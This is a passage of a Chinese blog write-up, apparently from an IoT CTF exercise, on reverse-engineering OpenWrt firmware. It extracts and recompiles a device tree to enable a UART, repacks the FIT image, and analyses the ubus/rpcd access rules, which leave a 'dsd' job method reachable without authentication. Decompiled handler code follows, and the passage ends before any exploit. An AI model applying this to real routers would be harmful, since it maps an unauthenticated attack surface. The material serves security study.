Hash algo:    crc32<br/>  Hash value:   e4c6bb68<br/>  Hash algo:    sha1<br/>  Hash value:   d911fad6cfe9877d80ea5601e006905afb2ed4d7<br/> Default Configuration: <span style="color: rgb(152, 195, 121);">&#39;config-1&#39;</span><br/> Configuration 0 (config-1)<br/>  Description:  OpenWrt hatlab_gateboard-one<br/>  Kernel:       kernel-1<br/>  Init Ramdisk: initrd-1<br/>  FDT:          fdt-1</code></pre><hr style="color: rgb(0, 0, 0);font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.1);transform-origin: 0px 0px;transform: scale(1, 0.5);"/><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  FIT中的设备树信息(Device Tree Blob)可以使用Tree Compiler (DTC)工具编译Device Tree Source (DTS)文件获得，<strong style="line-height: 1.75;color: rgb(255, 118, 118);">并且这种编译是没有信息缺损的</strong>也就是说如果使用DTC编译获得DTB，那么可以反编译获得完全一致的源文件(DTS)，而DTS才是我们要看的：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(92, 99, 112);font-style: italic;">#compile</span><br/>$ dtc -I dts -O dtb juno.dts &gt; juno.dtb<br/><span style="color: rgb(92, 99, 112);font-style: italic;">#decompile</span><br/>$ dtc -I dtb -O dts juno.dtb &gt; juno.dts<br/>$ dumpimage -T flat_dt -p 2 -o dtb.bin ./hatlab_gateboard-one-kernel.itb<br/>Extracted:<br/> Image 2 (fdt-1)<br/>  Description:  MIPS OpenWrt hatlab_gateboard-one device tree blob<br/>  Created:      Sat Mar 18 18:12:12 2023<br/>  Type:         Flat Device Tree<br/>  Compression:  uncompressed<br/>  Data Size:    13146 Bytes = 12.84 KiB = 0.01 MiB<br/>  Architecture: MIPS<br/>  Hash algo:    crc32<br/>  Hash value:   e4c6bb68<br/>  Hash algo:    sha1<br/>  Hash value:   d911fad6cfe9877d80ea5601e006905afb2ed4d7<br/>$ dtc -I dtb -O dts dtb.bin &gt; 3.dts    <br/>&lt;stdout&gt;: Warning (unit_address_vs_reg): Node /palmbus@1E000000/spi@b00/spi-nor@0/partitions@0 has a unit name, but no reg property<br/>&lt;stdout&gt;: Warning (unit_address_vs_reg): Node /ethernet@1e100000/mdio-bus/switch@1f/ports has a reg or ranges property, but no unit name</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">获得DTS文件后对3,1固件的DTS diff发现(参考2021西湖论剑IOT的wp)：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.23055555555555557" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9fc8b7d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhia20lzGnUMWDwibdnfpVn4ZSgRNK3gEK1sSCLZ6QN0eKQVeLKajy7Tmw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.08333333333333333" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=839163ec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhCCcDZG4yGNSHwrFXwcm16eGR9MHnUUb1eO7GOlw704ib2TCxs5XYiafg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.03518518518518519" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f364b3db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhQsCib0rTIiaxqxk3OLwyQo1jNXCQvreWqVusCPNIbRzeUGrQcK1lHjJA%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">把3号固件的DTS的uartlite@c00-&gt;status改为&#34;okay&#34;或者删除，然后重编译</strong>：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">$ dtc -I dts -O dtb 3.dts &gt; 3.dtb</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">把itb镜像中的kernel、initrd都剥离出来后，需要按照<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">dumpimage -l ./hatlab_gateboard-one-kernel.itb </code>获得的格式编写一个<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"> Image Tree Source(.its)</code>文件，类似于Device Tree Source：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">/dts-v1/;<br/>/ {<br/>    description = &#34;MIPS OpenWrt FIT (Flattened Image Tree)&#34;;<br/>    #address-cells = &lt;1&gt;;<br/>    images {<br/>        kernel-1 {<br/>            description = &#34;MIPS OpenWrt Linux-5.4.215&#34;;<br/>            data = /incbin/(&#34;./kernel.bin&#34;);<br/>            type = &#34;kernel&#34;;<br/>            arch = &#34;MIPS&#34;;<br/>            os = &#34;linux&#34;;<br/>            compression = &#34;gzip&#34;;<br/>            load = &lt;0x81001000&gt;;<br/>            entry = &lt;0x81001000&gt;;<br/>        hash@1 {<br/>                algo = &#34;crc32&#34;;<br/>            <br/>        };<br/>        hash@2 {<br/>                algo = &#34;sha1&#34;;<br/>            <br/>        };<br/>        };<br/>        initrd-1 {<br/>            description = &#34;MIPS OpenWrt hatlab_gateboard-one initrd&#34;;<br/>            data = /incbin/(&#34;./initrd.bin&#34;);<br/>            type = &#34;ramdisk&#34;;<br/>            arch = &#34;MIPS&#34;;<br/>            os = &#34;linux&#34;;<br/>            compression = &#34;none&#34;;<br/>        hash@1 {<br/>                algo = &#34;crc32&#34;;<br/>            <br/>        };<br/>        hash@2 {<br/>                algo = &#34;sha1&#34;;<br/>            <br/>        };<br/>        };<br/>        fdt-1 {<br/>            description = &#34;MIPS OpenWrt hatlab_gateboard-one device tree blob&#34;;<br/>            data = /incbin/(&#34;./3.dtb&#34;);<br/>            type = &#34;flat_dt&#34;;<br/>            arch = &#34;MIPS&#34;;<br/>            compression = &#34;none&#34;;<br/>        hash@1 {<br/>                algo = &#34;crc32&#34;;<br/>            <br/>        };<br/>        hash@2 {<br/>                algo = &#34;sha1&#34;;<br/>            <br/>        };<br/>        };<br/>    };<br/>    configurations {<br/>        default = &#34;config-1&#34;;<br/>        config-1 {<br/>            description = &#34;OpenWrt hatlab_gateboard-one&#34;;<br/>            kernel = &#34;kernel-1&#34;;<br/>            ramdisk = &#34;initrd-1&#34;;<br/>            fdt = &#34;fdt-1&#34;;<br/>        };<br/>    };<br/>};</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">然后制作itb文件：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">mkimage -f 3.its hatlab_gateboard-one-kernel_new.itb</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">效果如下：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2845528455284553" data-s="300,640" style="" data-type="png" data-w="861" src="https://wechat2rss.xlab.app/img-proxy/?k=4e7b1b88&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhdcoxr32yEdAtJTVQsNaRibwTRNM47q9lzesCxgoj8qTNqDMVV59L1dQ%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">dsd</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  dsd使用openwrt的ubus总线子系统注册了一个server object：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.39364303178484106" data-s="300,640" style="" data-type="png" data-w="818" src="https://wechat2rss.xlab.app/img-proxy/?k=1c7484d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhsswj1vpia5vRicaibRlRhZKJHurPF5s9mAuYd9nibbYsvIibSNIKDtffL9g%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">ubus架构简图如下：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.22209944751381216" data-s="300,640" style="" data-type="png" data-w="905" src="https://wechat2rss.xlab.app/img-proxy/?k=b48d2a56&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhAEc0TqOicMxuJDk1Ccn1CHKCq0Zw1bhc0LkrkCnhKpr5SpnHsSwrz5A%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">主要有三部分组成：</p><ul style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• ubusd：守护进程，充当server和client间的broker</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• server object：通常是软件提供的接口，通过在ubusd中注册方法的形式提供给client使用</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• client object：调用者，这种调用方式就是Remote Procedure Call (RPC)，和upnp的服务调用很相似。</p></li></ul><h3 style="letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">Access to ubus over HTTP</h3><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  本来ubus上面提供的服务是用于进程间交互的，但是uhttpd的<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">uhttpd-mod-ubus</code>插件允许通过http协议调用ubus上的方法(Remote Procedure Call (RPC))。默认情况下使用POST方法依照<span style="line-height: 1.75;color: rgb(87, 107, 149);">jsonrpc v2.0</span>格式访问<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">/ubus</code>完成远程调用。但是如此调用时需要经过Access Control List(ACL，即访问控制列表)，这个由守护进程<strong style="line-height: 1.75;color: rgb(255, 118, 118);">rpcd</strong>完成。<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">/usr/share/rpcd/acl.d/*.json</code>描述了所有的访问规则。如：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">{<br/>        <span style="color: rgb(209, 154, 102);">&#34;unauthenticated&#34;</span>: {<br/>                <span style="color: rgb(209, 154, 102);">&#34;description&#34;</span>: <span style="color: rgb(152, 195, 121);">&#34;Access controls for unauthenticated requests&#34;</span>,<br/>                <span style="color: rgb(209, 154, 102);">&#34;read&#34;</span>: {<br/>                        <span style="color: rgb(209, 154, 102);">&#34;ubus&#34;</span>: {<br/>                                <span style="color: rgb(209, 154, 102);">&#34;session&#34;</span>: [ <span style="color: rgb(152, 195, 121);">&#34;access&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;login&#34;</span> ]<br/>                        }<br/>                }<br/>        }<br/>}</code></pre><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3191268191268191" data-s="300,640" style="" data-type="png" data-w="962" src="https://wechat2rss.xlab.app/img-proxy/?k=0070c136&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhfwQbxyay7wblWKIHPdDDAvVdrDLmCNWSXKhcHiaIlAibZnrHVK5Gy4bg%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">上图session是一个&lt;path&gt;，其中包括了很多方法如：&#34;create&#34;，&#34;list&#34;，&#34;login&#34;等后面的是调用对应方法需要的参数。dsd的访问规则为：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(92, 99, 112);font-style: italic;">// root@OpenWrt:~# cat /usr/share/rpcd/acl.d/luci-app-dsd.json</span><br/>{<br/>    <span style="color: rgb(209, 154, 102);">&#34;unauthenticated&#34;</span>: {<br/>            <span style="color: rgb(209, 154, 102);">&#34;description&#34;</span>: <span style="color: rgb(152, 195, 121);">&#34;ubus access control&#34;</span>,<br/>            <span style="color: rgb(209, 154, 102);">&#34;read&#34;</span>: {<br/>                    <span style="color: rgb(209, 154, 102);">&#34;ubus&#34;</span>: {<br/>                            <span style="color: rgb(209, 154, 102);">&#34;dsd&#34;</span>: [<br/>                                    <span style="color: rgb(152, 195, 121);">&#34;job&#34;</span><br/>                                ]<br/>                    }<br/>            }<br/>    }<br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  unauthenticated和ubus_rpc_session=&#34;00000000000000000000000000000000&#34;其只能访问unauthenticated组下面的方法而其他组需要session中的login方法获取登录获取ubus_rpc_session才能访问，<strong style="line-height: 1.75;color: rgb(255, 118, 118);">也就是说dsd提供的job方法可以在未授权的情况下通过uhttpd的/ubus访问</strong>：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">root@OpenWrt:~<span style="color: rgb(92, 99, 112);font-style: italic;"># ubus -v list dsd</span><br/><span style="color: rgb(152, 195, 121);">&#39;dsd&#39;</span> @03db63db<br/>        <span style="color: rgb(152, 195, 121);">&#34;job&#34;</span>:{<span style="color: rgb(152, 195, 121);">&#34;id&#34;</span>:<span style="color: rgb(152, 195, 121);">&#34;Integer&#34;</span>,<span style="color: rgb(152, 195, 121);">&#34;msg&#34;</span>:<span style="color: rgb(152, 195, 121);">&#34;String&#34;</span>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">通过POST调用需要构造data数据为：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">{ <span style="color: rgb(209, 154, 102);">&#34;jsonrpc&#34;</span>: <span style="color: rgb(152, 195, 121);">&#34;2.0&#34;</span>,<br/>  <span style="color: rgb(209, 154, 102);">&#34;id&#34;</span>: &lt;unique-id-to-identify-request&gt;, <br/>  <span style="color: rgb(209, 154, 102);">&#34;method&#34;</span>: <span style="color: rgb(152, 195, 121);">&#34;call&#34;</span>,<br/>  <span style="color: rgb(209, 154, 102);">&#34;params&#34;</span>: [<br/>             &lt;ubus_rpc_session&gt;, &lt;ubus_object&gt;, &lt;ubus_method&gt;, <br/>             { &lt;ubus_arguments&gt; }<br/>            ]<br/>}</code></pre><hr style="color: rgb(0, 0, 0);font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.1);transform-origin: 0px 0px;transform: scale(1, 0.5);"/><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">通过对比openwrt提供的ubus服务端例程<span style="line-height: 1.75;color: rgb(87, 107, 149);">openwrt-ubus-api/ubus/examples/server.c at master · KerwinKoo/openwrt-ubus-api · GitHub</span>不难得出：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(209, 154, 102);">int</span> __fastcall <span style="color: rgb(97, 174, 238);">job</span>(<span style="color: rgb(209, 154, 102);">void</span> *ctx, <span style="color: rgb(209, 154, 102);">void</span> *obj, <span style="color: rgb(209, 154, 102);">void</span> *req, <span style="color: rgb(209, 154, 102);">char</span> *method, <span style="color: rgb(209, 154, 102);">void</span> *msg)<br/>{<br/>  <span style="color: rgb(209, 154, 102);">int</span> v5; <span style="color: rgb(92, 99, 112);font-style: italic;">// $s0</span><br/>  <span style="color: rgb(209, 154, 102);">int</span> v6; <span style="color: rgb(92, 99, 112);font-style: italic;">// $v0</span><br/>  <span style="color: rgb(209, 154, 102);">char</span> *v8; <span style="color: rgb(92, 99, 112);font-style: italic;">// [sp+20h] [+20h]</span><br/>  <span style="color: rgb(209, 154, 102);">char</span> v9[<span style="color: rgb(209, 154, 102);">4</span>]; <span style="color: rgb(92, 99, 112);font-style: italic;">// [sp+24h] [+24h] BYREF</span><br/>  _DWORD *v10; <span style="color: rgb(92, 99, 112);font-style: italic;">// [sp+28h] [+28h]</span><br/>  <span style="color: rgb(209, 154, 102);">char</span> v11[<span style="color: rgb(209, 154, 102);">28</span>]; <span style="color: rgb(92, 99, 112);font-style: italic;">// [sp+2Ch] [+2Ch] BYREF</span><br/>  <span style="color: rgb(230, 192, 123);">strcpy</span>(v11, <span style="color: rgb(152, 195, 121);">&#34;%s received a message: %s&#34;</span>);<br/>  v8 = <span style="color: rgb(152, 195, 121);">&#34;(unknown)&#34;</span>;<br/>  v5 = sub_400AA0((<span style="color: rgb(209, 154, 102);">int</span>)msg);<br/>  v6 = sub_400B1C(msg);<br/>  blobmsg_parse(&amp;off_4016FC, <span style="color: rgb(209, 154, 102);">2</span>, v9, v5, v6);<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( v10 )<br/>    v8 = (<span style="color: rgb(209, 154, 102);">char</span> *)blobmsg_data(v10);<br/>  blob_buf_init(&amp;dword_4120E8, <span style="color: rgb(209, 154, 102);">0</span>);<br/>  sub_401024(v8);<br/>  sub_400D20((<span style="color: rgb(209, 154, 102);">int</span>)&amp;dword_4120E8, (<span style="color: rgb(209, 154, 102);">int</span>)<span style="color: rgb(152, 195, 121);">&#34;status&#34;</span>, <span style="color: rgb(209, 154, 102);">0</span>);<br/>  sub_400DD0((<span style="color: rgb(209, 154, 102);">int</span>)&amp;dword_4120E8, (<span style="color: rgb(209, 154, 102);">int</span>)&amp;dword_4016F8, (<span style="color: rgb(209, 154, 102);">int</span>)v8);<br/>  ubus_send_reply(ctx, req, dword_4120E8);<br/>  <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">0</span>;<br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei 